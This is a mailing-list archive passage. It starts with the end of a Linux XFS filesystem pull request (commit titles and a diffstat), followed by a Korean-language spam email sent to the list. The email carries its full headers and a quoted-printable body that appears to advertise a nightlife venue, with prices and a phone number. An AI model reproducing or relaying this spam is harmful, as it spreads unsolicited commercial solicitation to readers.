xfs_icluster_size_fsb in xfs_ifree_cluster xfs: use xfs_icluster_size_fsb in xfs_imap xfs: fix false assertion at xfs_qm_vop_create_dqattach xfs: fix assertion failure at xfs_setattr_nonsize xfs: fix infinite loop by detaching the group/project hints from user dquot xfs: fix off-by-one error in xfs_attr3_rmt_verify Mark Tinguely (3): xfs: free the list of recovery items on error xfs: fix memory leak in xfs_dir2_node_removename xfs: fix memory leak in xfs_dir2_node_removename Namjae Jeon (2): MAINTAINERS: fix incorrect mail address of XFS maintainer MAINTAINERS: fix incorrect mail address of XFS maintainer MAINTAINERS | 2 +- fs/attr.c | 5 - fs/btrfs/inode.c | 8 +- fs/ext4/inode.c | 4 + fs/xfs/xfs_aops.c | 2 +- fs/xfs/xfs_attr.c | 5 +- fs/xfs/xfs_attr_list.c | 8 +- fs/xfs/xfs_attr_remote.c | 2 +- fs/xfs/xfs_bmap.c | 36 ++++- fs/xfs/xfs_bmap_util.c | 50 ++++-- fs/xfs/xfs_buf.c | 63 +++----- fs/xfs/xfs_buf.h | 11 +- fs/xfs/xfs_buf_item.c | 124 +++++++------- fs/xfs/xfs_dir2_node.c | 26 +-- fs/xfs/xfs_dir2_readdir.c | 4 + fs/xfs/xfs_dir2_sf.c | 58 ++++--- fs/xfs/xfs_discard.c | 5 +- fs/xfs/xfs_dquot.c | 7 +- fs/xfs/xfs_dquot_item.c | 67 +++----- fs/xfs/xfs_dquot_item.h | 3 +- fs/xfs/xfs_extfree_item.c | 21 +-- fs/xfs/xfs_file.c | 10 +- fs/xfs/xfs_fsops.c | 6 +- fs/xfs/xfs_ialloc.c | 53 +++--- fs/xfs/xfs_ialloc.h | 21 +-- fs/xfs/xfs_icreate_item.c | 10 +- fs/xfs/xfs_inode.c | 85 +++++----- fs/xfs/xfs_inode.h | 4 +- fs/xfs/xfs_inode_fork.c | 17 +- fs/xfs/xfs_inode_item.c | 400 +++++++++++++++++++--------------------------- fs/xfs/xfs_inode_item.h | 5 - fs/xfs/xfs_ioctl.c | 7 +- fs/xfs/xfs_ioctl32.c | 3 +- fs/xfs/xfs_iops.c | 79 +++++---- fs/xfs/xfs_itable.c | 22 ++- fs/xfs/xfs_log.h | 46 ++++++ fs/xfs/xfs_log_cil.c | 74 +++------ fs/xfs/xfs_log_recover.c | 46 ++++-- fs/xfs/xfs_qm.c | 86 ++++++---- fs/xfs/xfs_qm.h | 18 ++- fs/xfs/xfs_qm_syscalls.c | 18 ++- fs/xfs/xfs_quota_priv.h | 42 ----- fs/xfs/xfs_trans.h | 2 +- fs/xfs/xfs_trans_buf.c | 13 +- fs/xfs/xfs_trans_dquot.c | 4 +- fs/xfs/xfs_trans_resv.c | 10 +- fs/xfs/xfs_trans_space.h | 2 +- fs/xfs/xfs_vnode.h | 9 -- 48 files changed, 796 insertions(+), 807 deletions(-) delete mode 100644 fs/xfs/xfs_quota_priv.h From sands@hotmail.com Wed Jan 22 15:29:21 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FORGED_HOTMAIL_RCVD2, FREEMAIL_FROM,HTML_FONT_FACE_BAD,HTML_IMAGE_RATIO_08,HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 97AC47F92 for ; Wed, 22 Jan 2014 15:29:21 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0C7DBAC002 for ; Wed, 22 Jan 2014 13:29:20 -0800 (PST) X-ASG-Debug-ID: 1390426151-04cbb05bab91a90001-w1Z2WR Received: from WIN7-20131012OE ([14.138.54.99]) by cuda.sgi.com with SMTP id YsPtysXiaMi8P7jJ for ; Wed, 22 Jan 2014 13:29:13 -0800 (PST) X-Barracuda-Envelope-From: sands@hotmail.com X-Barracuda-Apparent-Source-IP: 14.138.54.99 Date: Thu, 23 Jan 2014 06:29:13 +0900 Subject: =?ks_c_5601-1987?Q?=BA=F9=C6=C7=B1=E6=C1=B6=BD=C9=C7=CF=BC=BC=BF=E4^^=40_=C7=D7=BB=F3=B0=A8=BB=E7=C7=D5=B4=CF=B4=D9?= From: "sands@hotmail.com" X-ASG-Orig-Subj: =?ks_c_5601-1987?Q?=BA=F9=C6=C7=B1=E6=C1=B6=BD=C9=C7=CF=BC=BC=BF=E4^^=40_=C7=D7=BB=F3=B0=A8=BB=E7=C7=D5=B4=CF=B4=D9?= To: linux-xfs@oss.sgi.com Mime-Version: 1.0 Content-Type: multipart/related; type="multipart/alternative"; boundary="----=_NextPart_000_0862C3B7_0.2F3D1AA3" Message-ID: <20140122091339419.C825DC946BB2A237@WIN7-20131012OE> X-Barracuda-Connect: UNKNOWN[14.138.54.99] X-Barracuda-Start-Time: 1390426151 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-BRTS-Evidence: e8d327e1eed8bb2193d4c5507c625e80-5247-txt X-Barracuda-BRTS-Evidence: becac4c6e67c117195c3f20f91ef43bd-11208-htm X-Barracuda-Spam-Score: 2.53 X-Barracuda-Spam-Status: No, SCORE=2.53 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA038b, BSF_SC5_MJ1963, EXTRA_MPART_TYPE, FORGED_HOTMAIL_RCVD2, HTML_FONT_FACE_BAD, HTML_IMAGE_RATIO_08, HTML_MESSAGE, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144372 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 EXTRA_MPART_TYPE Header has extraneous Content-type:...type= entry 1.12 FORGED_HOTMAIL_RCVD2 hotmail.com 'From' address, but no 'Received:' 0.00 HTML_IMAGE_RATIO_08 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message 0.61 HTML_FONT_FACE_BAD BODY: HTML font face is not a word 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.20 BSF_SC0_SA038b Custom Rule SA038b 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 This is a multipart MIME formatted message. ------=_NextPart_000_0862C3B7_0.2F3D1AA3 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0862C3B7_1.2F3D1AA3" ------=_NextPart_000_0862C3B7_1.2F3D1AA3 Content-Type: text/plain; charset="ks_c_5601-1987" Content-Transfer-Encoding: quoted-printable =A1=D9=BE=F7 =BC=D2 =B8=ED:=B4=F5=BA=ED=BE=F7 =0D=0A=0D=0A=A1=D9=BF=AC = =B6=F4 =C3=B3:010-4636-5196 =0D=0A=0D=0A=A1=D9=B4=E3 =B4=E7 =C0=DA: =B1= =E8 =BF=AC =BE=C6 =BD=C7 =C0=E5 =0D=0A=0D=0A=A1=D9=C1=D6 =BC=D2: =BC=AD=BF= =EF=BD=C3 =BF=AA=BB=EF=B5=BF 822-5=B9=F8=C1=F6 =0D=0A=0D=0A=A1=D9=C0=CE = =BB=E7 =B8=BB:. =0D=0A=BE=C8=B3=E7=C7=CF=BC=BC=BF=A9 =B1=E8=BF=AC=BE=C6=BD= =C7=C0=E5=C0=D4=B4=CF=B4=D9 =0D=0A=B9=CF=C0=BD=B0=FA=BC=BA=BD=C7=C0=C7 =B8= =B6=C0=BD=C0=B8=B7=CE =BB=E7=B6=F7=C0=BB=B4=EB=C7=CF=B8=E9 =BB=F3=B4=EB=B9= =DD=B5=B5 =C1=A6=B0=D4 =B8=B6=C0=BD=C0=C7 =B9=AE=C0=BB =0D=0A=BF=AD=BC=F6= =C0=D6=B4=D9=B4=C2 =BB=FD=B0=A2=C0=B8=B7=CE =C7=D7=BB=F3 =B3=EB=B7=C2=C7= =CF=B0=ED=C0=D6=BD=C0=B4=CF=B4=D9 =0D=0A=B0=D1=C0=B8=B7=CE=B8=B8 =B8=B6=C1= =D6=C7=CF=B4=C2 =B8=B8=B3=B2=BA=B8=B4=D9=B4=C2 =BC=D3=B8=B6=C0=BD=B1=EE=C1= =F6 =B3=BB=BA=B8=C0=CF=BC=F6 =C0=D6=B4=C2 =B8=B8=B3=B2=C0=BB =BF=F8=C7=D5= =B4=CF=B4=D9 =0D=0A=BE=F0=C1=A6=B3=AA =BC=BA=BF=F8=BF=A1 =B0=A8=BB=E7=B5= =E5=B8=AE=B8=E7 =BE=D5=C0=B8=B7=CE=B5=B5 =B8=B9=C0=BA=B0=FC=BD=C9=BA=CE=C5= =B9 =B5=E5=B8=B3=B4=CF=B4=D9... =0D=0A=0D=0A=A1=DA=B8=C5=C1=F7=B9=CC=B7=AF= =C3=CA=C0=CC=BD=BA =BD=C3=BD=BA=C5=DB=A1=DA =0D=0A=0D=0A=A1=E1 =B8=C5=C1= =F7=B9=CC=B7=AF =C3=CA=C0=CC=BD=BA=B6=F5? =0D=0A=C6=AF=BC=F6=C7=D1 =C0=E7= =C1=FA=B7=CE(=B5=BF=C1=BE=BE=F7=B0=E8 =C3=D6=B0=ED=C0=C7 =BD=C3=BC=B3=C0= =BB =C0=DA=BA=CE=C7=D5=B4=CF=B4=D9)=0D=0A=B8=B8=B5=E9=BE=EE=C1=AE =BC=D5= =B4=D4=C0=BA =B8=C5=C1=F7=B9=CC=B7=AF =C0=AF=B8=AE=B0=FC =BE=C8=C2=CA=BE= =F0=B4=CF=B5=E9=C0=BB =BA=B8=BD=C7=BC=F6 =C0=D6=B0=ED =0D=0A=C0=AF=B8=AE= =B0=FC=BE=C8=C2=CA=BF=A1 =C0=D6=B4=C2 =BE=F0=B4=CF=B5=E9=C0=BA =B9=DB=BF= =A1 =BC=D5=B4=D4=C0=CC =BA=B8=C0=CC=C1=F6 =BE=CA=B4=C2 =C0=AF=B8=AE(=B8=C5= =C1=F7=B9=CC=B7=AF)=C0=D4=B4=CF=B4=D9!!!=0D=0A=0D=0A=A1=E1 =B8=C5=C1=F7=B9= =CC=B7=AF =C3=CA=C0=CC=BD=BA=C0=C7 =C0=E5=C1=A1=0D=0A=C3=B9=C2=B0. =BD=C3= =B0=A3=C0=C7 =C1=A6=BE=E0=C0=CC =BE=F8=BD=C0=B4=CF=B4=D9 =0D=0A(=B1=E2=C1= =B8=C0=C7 =C7=CF=B5=E5=C7=AE=C3=B3=B7=B3 =BD=C3=B0=A3=BF=A1 =C2=D1=B0=DC= =BC=AD =C3=CA=C0=CC=BD=BA=C7=CF=BD=C7 =C7=CA=BF=E4=B0=A1 =BE=F8=BD=C0=B4= =CF=B4=D9)=0D=0A=B5=D1=C2=B0. =C0=DA=BC=BC=C8=F7 =BA=B8=BD=C3=B0=ED =BA=F1= =B1=B3 =C8=C4 =BF=A9=C0=AF=B7=D3=B0=D4 =C3=CA=C0=CC=BD=BA=C7=D2=BC=F6 =C0= =D6=BD=C0=B4=CF=B4=D9=0D=0A=BC=C2=C2=B0. =BE=C8=BF=A1=BC=AD=B4=C2 =C0=FD= =B4=EB =B9=DB=BF=A1 =BC=B1=B9=E8=B4=D4=C0=BB =BA=BC=BC=F6=BE=F8=B1=E2=B6= =A7=B9=AE=BF=A1 =BE=F0=B4=CF=B5=E9 =BE=F3=B1=BC,=B6=C7=B4=C2 =C7=E0=B5=BF = =C0=DA=BC=BC=C8=F7 =0D=0A=C7=CF=B3=AA=C7=CF=B3=AA =B5=FB=C1=AE=BC=AD =BA= =B8=BD=C7=BC=F6=C0=D6=BD=C0=B4=CF=B4=D9.=0D=0A=0D=0A=0D=0A=0D=0A=BE=C8=B3= =E7=C7=CF=BC=BC=BF=E4 =B1=E8 =BF=AC =BE=C6 =C0=CE=BB=E7=B5=E5=B8=B3= =B4=CF=B4=D9^^*=0D=0A=0D=0A=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6= =AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6= =AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6= =AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=0D=0A=0D=0A=A2= =BA =B9=AB=BE=F9=BA=B8=B4=D9 =B0=ED=B0=B4=BF=EC=BC=B1=C0=CC=B6=F3=B4=C2 = =BD=C5=B3=E4=C0=B8=B7=CE =C7=E3=B8=AE=B8=A6 =B1=C1=C8=FA=C1=D9 =BE=C6=B4= =C2 =B1=E8=BF=AC=BE=C6=BD=C7=C0=E5=C0=D4=B4=CF=B4=D9=0D=0A=0D=0A=A2=BA =C1= =F6=B1=DD =C0=FA=C0=C7 =C0=CC =C0=DA=B8=AE=B4=C2 =B0=ED=B0=B4=B4=D4=B5=E9= =B2=B2=BC=AD =B8=B8=B5=E9=BE=EE=C1=D6=BC=CC=B4=D9=B4=C2 =B0=E2=BC=D5=C7=D4= =C0=BB =C0=D2=C1=F6=BE=CA=B4=C2 =B1=E8=BF=AC=BE=C6=BD=C7=C0=E5=C0=D4=B4=CF= =B4=D9.=0D=0A=0D=0A=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC= =A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC= =A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC= =A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=0D=0A=A1=D8 =BC=F6=B8=B9= =C0=BA =B0=ED=B0=B4=B4=D4=B5=E9=B0=FA =BD=D7=BE=C6=BF=C2 =C0=CE=BF=AC=C0= =BB =BF=A9=B7=AF=BA=D0=B5=E9=B2=B2 =B4=D9 =BA=B8=BF=A9=B5=E5=B8=B1=BC=F8 = =BE=F8=C1=F6=B8=B8, =0D=0A=0D=0A=C0=FA=BF=CD =C0=CE=BF=AC=C0=BB =B8=CE=C0= =BA =B0=ED=B0=B4=B4=D4=B5=E9=C0=C7 =C6=F2=B0=A1=B0=A1 =B4=E3=B1=E4 =C8=C4= =B1=E2=B1=DB=C0=BA =C8=AE=C0=CE=B0=A1=B4=C9=C7=CF=BD=CA=B4=CF=B4=D9.=0D=0A= =0D=0A=BF=B9=BE=E0 =B9=D7=B9=AE=C0=C7=C0=FC=C8=AD 010-4636-5196 =0D=0A =A6= =AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6= =AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6= =AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6= =AC=A6=AC=A6=AC=A6=AC=A6=AC =0D=0A=0D=0A=0D=0A=A2=C3=A2=C3=A2=C3=A2=C3 =B4= =F5=BA=ED=BE=F7=B8=B8=C0=C7 =BD=C5=B0=B3=B3=E4 =B3=EE=C0=CC=B9=AE=C8=AD = =A2=C3=A2=C3=A2=C3=A2=C3=0D=0A=0D=0A=A1=D9 =C5=D9=C7=C1=B7=CE=C0=C7 =BA=F1= =BD=D1 =BC=FA=B0=AA=B6=A7=B9=AE=BF=A1 =BE=F6=B5=CE=B5=B5 =BE=C8=B3=AD=B4= =D9. =0D=0A=A1=D9 =C2=C0=BF=C0=C0=C7 =B0=A1=B0=DD=B4=EB=BA=F1 =BC=F6=C1=FA= =C0=CC =C0=C7=BD=C9=BD=BA=B7=B4=B4=D9.=0D=0A=A1=D9 =B4=EB=C8=AD =B9=EA=B5= =E5=C0=A7=C1=D6=B7=CE =BE=F0=B4=CF=B5=E9 =C5=CD=C4=A1=B4=C2 =BE=F6=B5=CE= =B5=B5 =B8=F8=B3=BB=B4=C2 =C5=AC=B7=B4.=0D=0A=A1=D9 =BA=CF=C3=A2=B5=BF =C7= =CF=B5=E5=C4=DA=BE=EE =B0=A1=B0=DD=C0=BA =C0=FA=B7=C5=C7=D1=B5=A5 =B9=B0= =BB=A9=B1=E2 =C0=FC=C5=F5=B0=A1 =C1=FA=B8=B0=B4=D9.=0D=0A=0D=0A=A6=AE=A6= =AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6= =AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6= =AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AF=0D=0A=A6=AD=C0=A7 =BF=CD =B0=B0=C0=CC = =B8=F0=B5=E7=B0=C9 =B0=B3=BC=B1=C7=D1 =BD=C5=B0=B3=B3=E4 =B9=E3=B9=AE=C8= =AD=B3=EE=C0=CC =A1=DA=B4=F5=BA=ED=BE=F7=B7=EB=BD=CE=B7=D5 =A6=AD=0D=0A=A6= =AD =A6=AD=0D=0A=A6=AD=C5=D9=C7=C1=B7=CE=C0=C7 =BC=F6=C1=FA=B0=FA =C1=A4= =C5=EB=B7=EB=C0=C7 =C0=D4=B4=E3=B0=FA =BA=CF=C3=A2=B5=BF=BD=C4 =C7=CF=B5= =E5=C4=DA=BE=EE=B8=A6 =C6=F7=C7=D4=C7=D1 =A6=AD =0D=0A=A6=AD =A6=AD=0D=0A= =A6=AD=B8=B6=B9=AB=B8=AE =BC=AD=BA=F1=BD=BA=B1=EE=C1=F6 =C6=F7=C7=D4=B5=C8= =C5=D9=C7=CF=B5=E5 =C5=AC=B7=B4 =C0=D4=B4=CF=B4=D9 =A6=AD =0D=0A=A6= =B1=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6= =AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6= =AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=B0=0D=0A=0D=0A=0D=0A=A6=AE=A6=AC=A6= =AF=A6=AE=A6=AC=A6=AF=A6=AE=A6=AC=A6=AF=A6=AE=A6=AC=A6=AF=A6=AE=A6=AC=A6= =AF=A6=AE=A6=AC=A6=AF=A6=AE=A6=AC=A6=AF=0D=0A=A6=AD=B4=F5=A6=AD=A6=AD=BA= =ED=A6=AD=A6=AD=BE=F7=A6=AD=A6=AD N=A6=AD=A6=AD=BD=C3=A6=AD=A6=AD=BD=BA = =A6=AD=C5=DB =0D=0A=A6=B1=A6=AC=A6=B0=A6=B1=A6=AC=A6=B0=A6=B1=A6=AC=A6=B0= =A6=B1=A6=AC=A6=B0=A6=B1=A6=AC=A6=B0=A6=B1=A6=AC=A6=B0=A6=B1=A6=AC=A6=B0= =0D=0A=0D=0A=A2=C2=A2=C2=A2=C21=BA=CE =BD=C3=BD=BA=C5=DB=A2=C2=A2=C2=A2=C2= (=BA=CF=C3=A2=B5=BF=BD=C4 =C7=CF=B5=E5=C4=DA=BE=EE)=0D=0A=0D=0A=C3=D1 1=BD= =C3=B0=A3 10=BA=D0=B5=BF=BE=C8 =C7=F6=B6=F5=C7=D1 =C0=BD=BE=C7=BC=D3=BF=A1= =BC=AD=0D=0A=C0=FC=C5=F5 =C3=CA=B9=DD,=C8=C4=B9=DD =C0=CC=B7=B8=B0=D4 2=C8= =B8 =B5=E9=BE=EE=B0=A9=B4=CF=B4=D9=0D=0A=B7=EB=BC=D3=BF=A1=BC=AD=B4=C2 =BA= =CE=BA=F1=BA=CE=BA=F1,=C5=CD=C4=A1 =B5=EE=B5=EE =B0=A1=B4=C9=C7=CF=BD=CA= =B4=CF=B4=D9=0D=0A=BA=CF=C3=A2=B5=BF=BD=C4 =C7=CF=B5=E5=C4=DA=BE=EE=B7=CE = =C1=FA=C6=DD=C7=CF=B0=D4 =BF=C3=C5=BB=C0=C7 =C7=CF=BD=C3=B0=ED =B3=EB=BD= =C3=B8=E9 =B5=CB=B4=CF=B4=D9=0D=0A=C8=AD=B2=F6=C7=CF=B0=D4 =C0=FC=C7=D8=BF= =C0=B4=C2 =BA=CE=B5=E5=B7=AF=BF=EE =B0=A8=C3=CB..=BF=C2=B8=F6=C0=B8=B7=CE = =B6=DF=B0=CC=B0=D4 =B4=C0=B2=B8=BA=B8=BC=BC=BF=E4^^=0D=0A=0D=0A=A2=C2=A2= =C2=A2=C22=BA=CE =BD=C3=BD=BA=C5=DB=A2=C2=A2=C2=A2=C2(=B1=D8=B0=AD =BE=D6= =C0=CE=B8=F0=B5=E5@)=0D=0A=0D=0A1=BA=CE=BF=A1=BC=AD 1=BD=C3=B0=A3 10=BA=D0= =B5=BF=BE=C8 =C1=FA=C6=DD=C7=CF=B0=D4 =B3=EB=BC=CC=C1=F6=B8=B8 =BB=EC=C2= =A6 =BE=C6=BD=AC=BF=F2=C0=CC =B3=B2=C0=B8=BD=C3=C1=D2?=0D=0A=B1=D7=B8=B8= =C5=AD =B8=F0=C0=DA=B6=F5 =BE=C6=BD=AC=BF=F2=C0=BB 2=BA=CE=BF=A1=BC=AD =C8= =AE=BD=C7=C7=D1 =B8=B6=B9=AB=B8=AE=B7=CE =C8=A8=B7=B1=C4=A1=BC=BC=BF=E4=0D= =0A=B7=EB=BF=A1=BC=AD =B3=EE=B4=F8 =BE=C6=B0=A1=BE=BE=BF=CD =BC=D5=C0=E2= =B0=ED =B1=B8=C0=E5 =BF=C3=B6=F3=B0=A1=BC=C5=BC=AD =C8=B2=C8=A6=C7=D1 =C3= =D6=B0=ED=C0=C7 =C0=D8=C1=F6 =B8=F8=C7=D2=0D=0A=BE=D6=C0=CE=BC=AD=BA=F1=BD= =BA=B8=A6 =B4=C0=B2=B8=BA=B8=BC=BC=BF=E4^^ 2=BA=CE =BD=C3=B0=A3=C0=BA =C3= =D1 50=BA=D0=C0=D4=B4=CF=B4=D9=0D=0A =0D=0A =0D=0A=0D=0A=0D=0A=0D=0A=A6=AE= =A6=AC=A6=AF=A6=AE=A6=AC=A6=AF=A6=AE=A6=AC=A6=AF=A6=AE=A6=AC=A6=AF=A6=AE= =A6=AC=A6=AF=A6=AE=A6=AC=A6=AF=A6=AE=A6=AC=A6=AF=0D=0A=A6=AD=B4=F5=A6=AD= =A6=AD=BA=ED=A6=AD=A6=AD=BE=F7=A6=AD=A6=ADN=A6=AD=A6=AD=B0=DF=A6=AD=A6=AD= =C0=FB=A6=AD=A6=AD=C7=A5=A6=AD=0D=0A=A6=B1=A6=AC=A6=B0=A6=B1=A6=AC=A6=B0= =A6=B1=A6=AC=A6=B0=A6=B1=A6=AC=A6=B0=A6=B1=A6=AC=A6=B0=A6=B1=A6=AC=A6=B0= =A6=B1=A6=AC=A6=B0=0D=0A=0D=0A=A2=D1 8=BD=C300=BA=D0 =C0=CC=C0=FC=BF=A1 = =BF=C0=BD=C7=B0=E6=BF=EC =C0=CC=BA=A5=C6=AE =C0=FB=BF=EB D.C (=B1=B8=C0=E5= =BA=F1 =C6=F7=C7=D4)=0D=0A=0D=0A=0D=0A1=C0=CE - =BE=E7=C1=D6 +=B8=C6=C1=D6= +=BE=C8=C1=D6 +=D9=A3=F9=A1=BE=C6=B0=A1=BE=BE +=BA=F9=B0=ED@=BE=D6=C0=CE= =B8=F0=B5=E5=BC=AD=BA=F1=BD=BA =C7=AE=C4=DA=BD=BA =3D =C7=F6 30=B8=B8=0D= =0A2=C0=CE - =BE=E7=C1=D6 +=B8=C6=C1=D6 +=BE=C8=C1=D6 +=D9=A3=F9=A1=BE=C6= =B0=A1=BE=BE +=BA=F9=B0=ED@=BE=D6=C0=CE=B8=F0=B5=E5=BC=AD=BA=F1=BD=BA =C7= =AE=C4=DA=BD=BA =3D =C7=F6 54=B8=B8 =0D=0A3=C0=CE - =BE=E7=C1=D6 +=B8=C6= =C1=D6 +=BE=C8=C1=D6 +=D9=A3=F9=A1=BE=C6=B0=A1=BE=BE +=BA=F9=B0=ED@=BE=D6= =C0=CE=B8=F0=B5=E5=BC=AD=BA=F1=BD=BA =C7=AE=C4=DA=BD=BA =3D =C7=F6 81=B8= =B8 =0D=0A4=C0=CE - =BE=E7=C1=D6 +=B8=C6=C1=D6 +=BE=C8=C1=D6 +=D9=A3=F9=A1= =BE=C6=B0=A1=BE=BE +=BA=F9=B0=ED@=BE=D6=C0=CE=B8=F0=B5=E5=BC=AD=BA=F1=BD= =BA =C7=AE=C4=DA=BD=BA =3D =C7=F6 108=B8=B8 =0D=0A=0D=0A=0D=0A=A2=D1 8=BD= =C330=BA=D0 =C0=CC=C8=C4=BF=A1 =BF=C0=BD=C7=B0=E6=BF=EC =C1=A4=BB=F3=B0=A1= =B0=DF=C0=FB (=B1=B8=C0=E5=BA=F1 =C6=F7=C7=D4)=0D=0A=0D=0A1=C0=CE - =BE= =E7=C1=D6 +=B8=C6=C1=D6 +=BE=C8=C1=D6 +=D9=A3=F9=A1=BE=C6=B0=A1=BE=BE +=BA= =F9=B0=ED@=BE=D6=C0=CE=B8=F0=B5=E5=BC=AD=BA=F1=BD=BA =C7=AE=C4=DA=BD=BA = =3D =C7=F6 35=B8=B8=0D=0A=0D=0A2=C0=CE - =BE=E7=C1=D6 +=B8=C6=C1=D6 +=BE= =C8=C1=D6 +=D9=A3=F9=A1=BE=C6=B0=A1=BE=BE +=BA=F9=B0=ED@=BE=D6=C0=CE=B8=F0= =B5=E5=BC=AD=BA=F1=BD=BA =C7=AE=C4=DA=BD=BA =3D =C7=F6 60=B8=B8=0D=0A=0D= =0A3=C0=CE - =BE=E7=C1=D6 +=B8=C6=C1=D6 +=BE=C8=C1=D6 +=D9=A3=F9=A1=BE=C6= =B0=A1=BE=BE +=BA=F9=B0=ED@=BE=D6=C0=CE=B8=F0=B5=E5=BC=AD=BA=F1=BD=BA =C7= =AE=C4=DA=BD=BA =3D =C7=F6 90=B8=B8=0D=0A=0D=0A4=C0=CE - =BE=E7=C1=D6 +=B8= =C6=C1=D6 +=BE=C8=C1=D6 +=D9=A3=F9=A1=BE=C6=B0=A1=BE=BE +=BA=F9=B0=ED@=BE= =D6=C0=CE=B8=F0=B5=E5=BC=AD=BA=F1=BD=BA =C7=AE=C4=DA=BD=BA =3D =C7=F6 120= =B8=B8=0D=0A=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC= =A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC= =A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC =0D=0A=0D=0A=0D=0A=A1=E0= =A1=E1=A1=E0=A1=E1=A1=E0=A1=E1 =B4=F5=BA=ED=BE=F7 =B1=E8=BF=AC=BE=C6=B8=B8= =C0=C7=C0=C7 =B0=ED=B0=B4=B0=A8=BB=E7 =C0=CC=BA=A5=C6=AE=A1=E1=A1=E0=A1=E1= =A1=E0=A1=E1=A1=E0 =0D=0A=0D=0A1 =B0=AD=B3=B2=C0=FC=C1=F6=BF=AA =C7=C8=BE= =F7 =BC=AD=BA=F1=BD=BA =0D=0A=0D=0A2 =B0=A2=C1=BE =B1=E2=B3=E4=C0=CF =BB= =FD=C0=CF=BC=EE=BF=CD =C4=C9=C0=CD =C0=CC=BA=A5=C6=AE =0D=0A=0D=0A3 =C8=C4= =B1=E2=BD=E1=C1=D6=BD=C5 =B8=F0=B5=E7=BA=D0=B5=E9=B2=B2 2=B8=B8=BF=F8 DC = =0D=0A=0D=0A4 =BE=D6=C0=CE=B8=F0=B5=E5=BD=C3 =BD=BA=C5=B8=C5=B7(=C6=E4=C6= =BC=BD=AC)=C0=CC=BA=A5=C6=AE =0D=0A=0D=0A5 =C1=A4=C7=B0100% =BA=F1=BE=C6= =B1=D7=B6=F3 =B9=DF=B1=E2 =BC=AD=BA=F1=BD=BA =0D=0A=0D=0A=0D=0A=B1=E8=BF= =AC=BE=C6=BD=C7=C0=E5=C0=C7=C0=C7 =BF=B5=BE=F7=B9=E6=C4=A7 =0D=0A=0D=0A1.= =BE=F7=BC=D2=BA=B8=B4=D9 =C1=DF=BF=E4=C7=D1=B0=C7 =BE=EE=B6=B2 =BB=F3=B9= =AB=B3=C4=B0=A1 =C1=DF=BF=E4 =C7=D5=B4=CF=B4=D9 =0D=0A=0D=0A2.=BB=F3=B9=AB= =BA=B8=B4=D9 =C1=DF=BF=E4=C7=D1=B0=C7 =BF=C0=B6=F3=B9=F6=B4=D4=B5=E9=C0=CC= =BD=CA=B4=CF=B4=D9 =0D=0A=0D=0A3.=B0=A1=C0=E5=C1=DF=BF=E4=C7=D1=B0=C7 =C4= =A3=C0=FD=C0=D4=B4=CF=B4=D9 =0D=0A=0D=0A4. =BF=C0=B6=F3=B9=F6=B4=D4=C0=BA = =B8=ED=C7=B0=C0=D4=B4=CF=B4=D9 =0D=0A=0D=0A=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC= =A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC= 